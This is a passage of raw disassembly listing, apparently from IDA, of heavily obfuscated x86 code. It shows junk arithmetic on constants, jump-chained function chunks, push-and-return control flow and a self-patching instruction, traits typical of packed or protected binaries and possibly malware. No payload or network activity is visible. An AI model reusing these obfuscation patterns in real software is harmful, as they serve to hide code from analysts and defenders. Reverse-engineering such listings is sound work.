		add	eax, 0C7E5348Bh
		mov	eax, [eax]
		push	3546C004h
		jmp	loc_40EACD
; ---------------------------------------------------------------------------
		push	4C9F0A12h
		pop	eax
		rol	eax, 1Ch
		xor	eax, 5951D8BBh
		jmp	loc_40CD14

; =============== S U B	R O U T	I N E =======================================



sub_40FCF3	proc near		; CODE XREF: sub_40DC93p
		push	offset loc_409C7E
		jmp	nullsub_143
sub_40FCF3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409627


loc_40FCFE:				; CODE XREF: sub_409627+15j
		jmp	loc_40DA03
; END OF FUNCTION CHUNK	FOR sub_409627
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	offset sub_40E824
		jmp	loc_40CC37
; ---------------------------------------------------------------------------
		popf
		jmp	sub_40ADDA

; =============== S U B	R O U T	I N E =======================================



sub_40FD16	proc near		; CODE XREF: sub_40A91A-C68p
					; sub_40E76D-2E78p ...

; FUNCTION CHUNK AT 004099A1 SIZE 00000007 BYTES

		jnz	loc_4099A1
		push	ebp
		call	sub_40B43C


loc_40FD22:				; CODE XREF: sub_40AEA9+Cj
		jmp	nullsub_111
sub_40FD16	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB9F


loc_40FD27:				; CODE XREF: sub_40FB9F-67B6j
		jmp	loc_40C224
; END OF FUNCTION CHUNK	FOR sub_40FB9F
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_40ECBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FD32:				; CODE XREF: sub_40D740+3D7j
		rol	edx, 19h
		add	edx, 0AE329AB2h
		xor	edx, 0A85FD6C6h
		add	edx, ebp
		add	edx, 8382055Dh
		mov	edx, [edx]
		imul	byte ptr [edx]


loc_40FD4D:				; CODE XREF: o45kw3t9:loc_40CBF6j
		jmp	loc_40E09A
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40FD52:				; CODE XREF: sub_40CC20:loc_40A23Dj
		and	ebp, ebx
		push	eax
		jnb	loc_40AE80
		shr	ebp, 11h
		jmp	loc_40C259
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5F3


loc_40FD63:				; CODE XREF: sub_40C5F3:loc_40DC5Ej
		add	eax, 28h
		call	sub_4097FC
; END OF FUNCTION CHUNK	FOR sub_40C5F3
; START	OF FUNCTION CHUNK FOR sub_40D1C4


loc_40FD6B:				; CODE XREF: sub_40D1C4:loc_40CF38j
		jz	loc_40BADD
		xor	eax, 5B14CA7Bh
		sub	eax, 6A58DA2Ch
		push	edx
		push	50E59236h
		pop	edx
		and	edx, ds:4000B0h
		call	loc_40BB8C
; END OF FUNCTION CHUNK	FOR sub_40D1C4
; START	OF FUNCTION CHUNK FOR sub_40A01C


loc_40FD8F:				; CODE XREF: sub_40A01C-E2Dj
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_40A01C
; ---------------------------------------------------------------------------


loc_40FD94:				; CODE XREF: o45kw3t9:00409AB2j
		mov	edx, 21034A3Fh


loc_40FD99:				; CODE XREF: o45kw3t9:loc_40A495j
		mov	eax, 0CF0182F6h
		call	sub_4090F8
		push	ecx
		push	9D3D8D6Eh
		jmp	loc_40CD74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40FDAE:				; CODE XREF: sub_40AC2F+56D5j
		sub	edx, 546B2D84h
		sbb	ecx, ebp
		jl	loc_40D80E


loc_40FDBC:				; CODE XREF: sub_40AC2F:loc_40B074j
		call	sub_40A715


loc_40FDC1:				; CODE XREF: sub_40E692:loc_40B4CCj
		jz	loc_40B4C1
		jmp	loc_410115
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------
		and	ebp, edx
		jmp	loc_40B473

; =============== S U B	R O U T	I N E =======================================



sub_40FDD3	proc near		; CODE XREF: sub_40BDCC+9j
		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jz	loc_40FBF2
		mov	dword ptr [ebp-8], 1
		jmp	loc_409F4D
sub_40FDD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FDEF	proc near		; CODE XREF: sub_40BDCCj
					; o45kw3t9:loc_40FC4Bj

; FUNCTION CHUNK AT 0040A5C7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040B662 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040D516 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F0D4 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_40D516
sub_40FDEF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40FDF5:				; CODE XREF: sub_40B3E5:loc_40CEE8j
		push	0A6FCD156h
		mov	[esp+4+var_4], eax
		push	1E5EDCCh
		pop	eax
		rol	eax, 10h
		jmp	loc_409EE8
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_40FE0B:				; CODE XREF: sub_40E562-26D6j
		add	eax, ebx
		xor	ebp, eax
		jmp	loc_4098AE
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------


loc_40FE14:				; CODE XREF: o45kw3t9:00409FBBj
		and	eax, 82EFAC1Bh

; =============== S U B	R O U T	I N E =======================================



sub_40FE1A	proc near		; CODE XREF: sub_4102EB+Cp

; FUNCTION CHUNK AT 0040A60B SIZE 00000004 BYTES

		mov	[esp+0], ecx
		pop	ecx
		cmp	dword ptr [ebp-8], 0
		jle	loc_40D8D0
		mov	eax, [ebp-4]
		jmp	loc_40A60B
sub_40FE1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_40FE30:				; CODE XREF: sub_40E6E8-13E6j
		jo	loc_40B628
		test	eax, 782C0CA1h
		jmp	loc_40C49C
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B23F


loc_40FE41:				; CODE XREF: sub_40B23F+1B9Fj
		add	esi, ebx
		or	ebx, edi
		sbb	ecx, esi
		add	ebx, 0E08191A5h


loc_40FE4D:				; CODE XREF: sub_40B23F:loc_40B03Ej
		push	831FCA42h


loc_40FE52:				; CODE XREF: o45kw3t9:loc_409424j
		mov	[esp+0], eax
		push	650A1466h
		pop	eax
		jmp	loc_40C48B
; END OF FUNCTION CHUNK	FOR sub_40B23F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB50


loc_40FE60:				; CODE XREF: sub_40DB50-F75j
		lea	eax, nullsub_112
		mov	byte ptr [eax],	0C3h
		jmp	loc_40BB5E
; END OF FUNCTION CHUNK	FOR sub_40DB50
; ---------------------------------------------------------------------------


loc_40FE6E:				; CODE XREF: o45kw3t9:0040D04Aj
		mov	eax, [esp]
		push	edx
		call	sub_40C696
		mov	eax, 17B3C1CFh
		push	offset sub_40AFEB
		jmp	locret_40B472

; =============== S U B	R O U T	I N E =======================================



sub_40FE86	proc near		; CODE XREF: o45kw3t9:004095FBj
					; sub_40D597+5p

; FUNCTION CHUNK AT 00409538 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040A7BA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040B879 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BBF2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040BE9C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040D284 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040D57D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DFA2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040E319 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E5E9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040EF7B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0041009A SIZE 00000014 BYTES

		mov	[esp+0], edi
		pop	edi
		push	ebx
		xchg	ecx, ebx
		jmp	loc_40D57D
sub_40FE86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40FE92	proc near		; DATA XREF: o45kw3t9:004097C3o

; FUNCTION CHUNK AT 0040A812 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DEB3 SIZE 0000000A BYTES

		mov	al, [eax]
		jnz	loc_40DEB3
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		push	offset sub_4092B8
		jmp	loc_40A812
sub_40FE92	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B56D


loc_40FEAB:				; CODE XREF: sub_40B56D+1D74j
		mov	edx, eax
		xchg	edx, [esp+0]
		rol	eax, 4
		push	ebx
		push	0A9F98054h


loc_40FEB9:				; CODE XREF: o45kw3t9:loc_41024Dj
		pop	ebx
		or	ebx, 0CB3D1C8Fh
		jmp	loc_40A59F
; END OF FUNCTION CHUNK	FOR sub_40B56D
; ---------------------------------------------------------------------------


loc_40FEC5:				; CODE XREF: o45kw3t9:0040C999j
		jnz	loc_40AA18
		jmp	loc_4099C2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_40FED1:				; CODE XREF: sub_40DB3D+2669j
		jnb	loc_40E377
		not	eax
		jmp	loc_4096D5
; END OF FUNCTION CHUNK	FOR sub_40DB3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40FEDE:				; CODE XREF: sub_40928F+3A76j
		jp	loc_40F155
		jns	loc_40E132


loc_40FEEA:				; CODE XREF: sub_40928F:loc_40C0FFj
		call	sub_40CEFE
		push	1D72D2BBh
		pop	edx
		jmp	loc_40CBB0
; END OF FUNCTION CHUNK	FOR sub_40928F

; =============== S U B	R O U T	I N E =======================================



sub_40FEFA	proc near		; CODE XREF: o45kw3t9:0040D340j
					; sub_40D740+5Bp

; FUNCTION CHUNK AT 0040AAB5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040E1E5 SIZE 00000018 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	dword ptr [ecx], 10001h
		call	sub_40C8E8


loc_40FF09:				; CODE XREF: sub_40AD51+1479j
		jmp	loc_40AAB5
sub_40FEFA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C298


loc_40FF0E:				; CODE XREF: sub_40C298-12F0j
		jmp	loc_40AA67
; END OF FUNCTION CHUNK	FOR sub_40C298
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40FF13:				; CODE XREF: sub_40E0E0-3B5Cj
		jmp	loc_40DCA8
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------


loc_40FF18:				; CODE XREF: o45kw3t9:0040BF43j
		mov	ebp, esp
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_4092B8


loc_40FF1B:				; CODE XREF: sub_4092B8:loc_40DEA8j
		inc	ds:dword_40CFE8
		lea	eax, nullsub_2
		jmp	loc_40B4B5
; END OF FUNCTION CHUNK	FOR sub_4092B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FF2E:				; CODE XREF: sub_40D740+11Bj
		jmp	locret_40D8A2
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40FF33:				; DATA XREF: sub_40C276-2C1Bo
		mov	edx, [edx]
		imul	byte ptr [edx]
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40FF37:				; CODE XREF: sub_409726+438Bj
		cmp	al, 0A4h
		jz	loc_40ED96
		jmp	loc_40A3E8
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40FF44:				; CODE XREF: sub_40A3A2:loc_40AED5j
		jo	loc_40EC72
		test	ebp, 0A921696Bh
		jmp	loc_409E88
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E692


loc_40FF55:				; CODE XREF: sub_40E692-408Cj
		xor	eax, 45EF29F2h
		not	ebx
		jmp	loc_40D5D6
; END OF FUNCTION CHUNK	FOR sub_40E692
; ---------------------------------------------------------------------------
		shr	ebx, 14h
		jmp	sub_40A6BB
; ---------------------------------------------------------------------------
		sbb	ebp, 166D6DD3h
		test	edi, edx
		jmp	loc_40F1BA
; ---------------------------------------------------------------------------


loc_40FF77:				; DATA XREF: sub_40B196+3o
		push	ecx
		mov	esp, ebp
		xchg	edi, [esp]
		mov	ebp, edi
		pop	edi
		mov	eax, ds:dword_40E3A4
		or	eax, eax
		jmp	loc_40C2F6

; =============== S U B	R O U T	I N E =======================================



sub_40FF8D	proc near		; CODE XREF: o45kw3t9:loc_409944p
					; o45kw3t9:0040E0F6j

; FUNCTION CHUNK AT 00409F72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EB93 SIZE 0000000A BYTES

		mov	[esp+0], ecx
		pop	ecx
		push	47E0A876h
		pop	eax
		add	eax, 5B05E3D7h
		jmp	loc_409F72
sub_40FF8D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40FFA3:				; CODE XREF: o45kw3t9:0040A1BEj
		ror	edi, 0Dh
		or	eax, ebx
		popf
		jmp	loc_40C209
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40FFAE:				; CODE XREF: sub_40ABFA:loc_40D47Fj
		jz	loc_40B69D
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_40ED0B
		jmp	loc_40E3AC
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40FFC9:				; CODE XREF: sub_40DA15-3A7Dj
		push	edx
		or	ebp, 0FAA1350Ah
		jmp	loc_410268
; END OF FUNCTION CHUNK	FOR sub_40DA15

; =============== S U B	R O U T	I N E =======================================



sub_40FFD5	proc near		; DATA XREF: sub_40D32E-C81o
		inc	dword ptr [ebp-8]


loc_40FFD8:				; CODE XREF: sub_40D32E:loc_40A028j
					; sub_40D32E:loc_40D582j ...
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40FFD5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FFDF:				; CODE XREF: sub_40D740:loc_40AD19j
		pop	ecx
		or	esi, 0DBBC8F23h
		jmp	loc_40ED96
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B029


loc_40FFEB:				; CODE XREF: sub_40B029:loc_40B288j
					; sub_40B029+2220j ...
		jz	loc_40D254
		push	eax


loc_40FFF2:				; CODE XREF: sub_40CC20-3922j
		push	0
		call	sub_40D368
		jmp	loc_40D245
; END OF FUNCTION CHUNK	FOR sub_40B029
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FFFE:				; CODE XREF: sub_40D740-621j
					; sub_40D740:loc_40EC48j
		call	sub_40CEFE
		mov	edx, 17B3C1CFh
		call	sub_40B476


loc_41000D:				; CODE XREF: sub_40FA84+Cj
		jmp	loc_40BEC3
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_410012:				; CODE XREF: o45kw3t9:0040E5C6j
		jmp	sub_40FD16
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_410018:				; CODE XREF: sub_40D740-3884j
		jmp	loc_40B139
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_41001D	proc near		; DATA XREF: sub_40EC53-12A2o
		xchg	edi, [esp+0]
		retn
sub_41001D	endp

; ---------------------------------------------------------------------------


loc_410021:				; DATA XREF: sub_40EC53-12A7o
		add	edi, 7750A4E7h
		xchg	edi, [esp]
		jmp	loc_40D5A1
; ---------------------------------------------------------------------------


loc_41002F:				; CODE XREF: o45kw3t9:loc_40C282j
		xor	eax, 0C7932611h
		add	eax, ebp
		add	eax, 26380CAAh
		mov	eax, [eax]
		popf
		mov	al, [eax]
		jno	loc_40E5A9
		sub	al, 99h
		jmp	loc_40B91A
; ---------------------------------------------------------------------------


loc_41004F:				; DATA XREF: sub_40EA96-4DA1o
		test	byte ptr [eax-8], 80h
		jz	loc_40CAA9
		inc	dword ptr [ebp-8]
; START	OF FUNCTION CHUNK FOR sub_40D268


loc_41005C:				; CODE XREF: sub_40D268-3EFDj
					; sub_40D268:loc_40D575j
		mov	eax, [ebp-8]
		call	sub_40CA92
; END OF FUNCTION CHUNK	FOR sub_40D268
; START	OF FUNCTION CHUNK FOR sub_409726


loc_410064:				; CODE XREF: sub_409726+15E2j
		jmp	loc_40B901
; END OF FUNCTION CHUNK	FOR sub_409726

; =============== S U B	R O U T	I N E =======================================



sub_410069	proc near		; DATA XREF: sub_40FE92:loc_40DEB3o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004092D1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040AB09 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040BBCA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040BE09 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DEC7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040DFC2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E461 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040E977 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410206 SIZE 0000000B BYTES

		sub	al, 99h
		push	0C122F1DDh
		pop	edx
		or	edx, 0A87D56FAh
		add	edx, 0D2FB3462h
		add	edx, ebp
		add	edx, 4384D39Bh
		jmp	loc_40BBCA
sub_410069	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409C62


loc_41008A:				; CODE XREF: sub_409C62+2CD6j
		adc	ecx, 5789BC95h
; END OF FUNCTION CHUNK	FOR sub_409C62

; =============== S U B	R O U T	I N E =======================================



sub_410090	proc near		; CODE XREF: sub_40D70E-343Dp
		mov	[esp+0], edi
		pop	edi
		push	eax
		jmp	loc_40E3E0
sub_410090	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_41009A:				; CODE XREF: sub_40FE86:loc_40D57Dj
		mov	esp, ebp
		pop	ebp
		push	0B84768Dh
		pop	eax
		xor	eax, 0B9E7C0ACh
		jmp	loc_40A7BA
; END OF FUNCTION CHUNK	FOR sub_40FE86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_4100AE:				; CODE XREF: sub_40909E:loc_40DC3Cj
		call	sub_40E76D


loc_4100B3:				; CODE XREF: o45kw3t9:0040DB81j
		call	sub_40DCEE
; END OF FUNCTION CHUNK	FOR sub_40909E
; START	OF FUNCTION CHUNK FOR sub_409ED2


loc_4100B8:				; CODE XREF: sub_409ED2+25Ej
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_409ED2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A05D


loc_4100BD:				; CODE XREF: sub_40A05D+1Bj
		jmp	loc_40C5D1
; END OF FUNCTION CHUNK	FOR sub_40A05D
; ---------------------------------------------------------------------------


loc_4100C2:				; CODE XREF: o45kw3t9:0040A169j
		jb	loc_40ACA0
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_4100C8:				; CODE XREF: sub_40EABC:loc_40CB34j
		add	eax, 0D3BC452Eh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_40E6D9
		call	sub_40CEFE
		mov	edx, 0C231F698h
		call	sub_40E858
		jmp	loc_409721
; END OF FUNCTION CHUNK	FOR sub_40EABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_4100EC:				; CODE XREF: sub_40D740-36E8j
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40A413
		jmp	loc_40A40E
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_4100FC:				; CODE XREF: o45kw3t9:0040A896j
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_40E095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E786


loc_410106:				; CODE XREF: sub_40E786:loc_4094CBj
		push	edi
		mov	[esp+8+var_8], eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40E786

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41010B	proc near		; CODE XREF: sub_40D587:loc_40BCE5p

; FUNCTION CHUNK AT 0040D639 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_40D639
sub_41010B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_410115:				; CODE XREF: sub_40AC2F+5198j
		jmp	loc_40CD65
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_41011A:				; CODE XREF: sub_40D740+4Cj
					; sub_40E1D1+9j
		jnz	loc_409871
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		push	offset loc_40E450
		jmp	locret_40D93E
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACAB


loc_410130:				; CODE XREF: sub_40ACAB:loc_40BE2Fj
		jz	loc_40EB28
		jmp	loc_40DC74
; END OF FUNCTION CHUNK	FOR sub_40ACAB

; =============== S U B	R O U T	I N E =======================================



sub_41013B	proc near		; DATA XREF: sub_40D740:loc_40B97Co
		jz	loc_40BB59
		jmp	loc_40B085
sub_41013B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D179


loc_410146:				; CODE XREF: sub_40D179:loc_40A26Aj
		mov	ebx, [eax+18h]
		push	offset loc_4097A3
		jmp	loc_40CD29
; END OF FUNCTION CHUNK	FOR sub_40D179

; =============== S U B	R O U T	I N E =======================================



sub_410153	proc near		; CODE XREF: o45kw3t9:0040CBF1j
					; o45kw3t9:0040D0C9p

; FUNCTION CHUNK AT 0040D475 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jnz	loc_40D475
		call	sub_40CF23


loc_410162:				; CODE XREF: o45kw3t9:0040DC59j
		xor	ebx, 4B7AC870h
sub_410153	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_410168:				; CODE XREF: sub_40DA15:loc_40A854j
		add	edi, 871BF154h
		mov	edi, [edi]
		xchg	edi, [esp+0]
		jmp	loc_40C855
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B425


loc_410178:				; CODE XREF: sub_40B425+7j
		movzx	eax, word ptr [eax+6]
		mov	[ebp-10h], eax
		push	504423E2h
		mov	eax, offset loc_410192
		xchg	eax, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40B425
; ---------------------------------------------------------------------------


loc_41018D:				; CODE XREF: o45kw3t9:0040AEE5j
		jmp	loc_40C447
; ---------------------------------------------------------------------------


loc_410192:				; DATA XREF: sub_40B425+4D5Fo
		rol	eax, 14h
		and	eax, 6B08995Ch
		jmp	loc_40C9CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_4101A0:				; CODE XREF: sub_40DB3D+D2Bj
		jz	loc_4096D8
		jmp	loc_40FED1
; END OF FUNCTION CHUNK	FOR sub_40DB3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E786


loc_4101AB:				; CODE XREF: sub_40E786:loc_40DAC9j
		jz	loc_40AF9E
		jmp	loc_40B4BA
; END OF FUNCTION CHUNK	FOR sub_40E786
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_4101B6:				; CODE XREF: sub_409FA8+62F0j
		jz	loc_40AD95
		jmp	loc_40EE00
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41029D


loc_4101C1:				; CODE XREF: sub_41029D+1Bj
		lea	eax, nullsub_11
; END OF FUNCTION CHUNK	FOR sub_41029D
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_4101C7:				; CODE XREF: sub_40A3A2:loc_40C2BCj
		push	offset sub_40C6F6
		jmp	loc_410220
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_4101D1:				; CODE XREF: sub_40EC53-297Dj
					; sub_40D740+16Cj
		ror	eax, 0Ah
		push	eax
		call	sub_40A01C
		retn
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101DB	proc near		; CODE XREF: sub_40CA44+18j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_409C13
sub_4101DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101E6	proc near		; CODE XREF: sub_40909E:loc_4096A7p
					; o45kw3t9:0040A680j
		mov	[esp+0], edi
		pop	edi
		mov	esp, ebp
		pop	ebp
		push	ds:dword_40E438
		retn
sub_4101E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_4101F4:				; CODE XREF: sub_40DB3D+686j
		jmp	loc_40A917
; END OF FUNCTION CHUNK	FOR sub_40DB3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_4101F9:				; CODE XREF: sub_40939B+190Bj
		jmp	loc_40B7E8
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_4101FE:				; CODE XREF: sub_40A551+44EBj
		mov	eax, [ebp-1Ch]
		jmp	loc_40D493
; END OF FUNCTION CHUNK	FOR sub_40A551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410069


loc_410206:				; CODE XREF: sub_410069-554Ej
		jz	loc_409A36
		jmp	loc_409AE1
; END OF FUNCTION CHUNK	FOR sub_410069
; ---------------------------------------------------------------------------
		push	401507B4h
		jmp	sub_40B160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40915B


loc_41021B:				; CODE XREF: sub_40915B:loc_409BC4j
		call	sub_40ACAB


loc_410220:				; CODE XREF: sub_40A3A2+5E2Aj
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_40915B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C683


loc_410225:				; CODE XREF: sub_40C683+Dj
		jmp	loc_40B952
; END OF FUNCTION CHUNK	FOR sub_40C683
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_41022A:				; CODE XREF: sub_40A551+2040j
		jmp	loc_40C419
; END OF FUNCTION CHUNK	FOR sub_40A551
; ---------------------------------------------------------------------------


loc_41022F:				; CODE XREF: o45kw3t9:0040B529j
		jmp	loc_4095CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_410234:				; CODE XREF: o45kw3t9:loc_40B184j
					; sub_40D740:loc_40E09Aj
		cmp	al, 0A4h
		jz	loc_40ED96
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40ED9B
		jmp	loc_409F6D
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_41024D:				; CODE XREF: o45kw3t9:0040996Aj
		jnp	loc_40FEB9

; =============== S U B	R O U T	I N E =======================================



sub_410253	proc near		; CODE XREF: sub_40C5F3+1677p
		xchg	ebx, [esp+0]
sub_410253	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40942A


loc_410256:				; CODE XREF: sub_40942A:loc_4096EAj
		pop	ebx
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_40A5E9
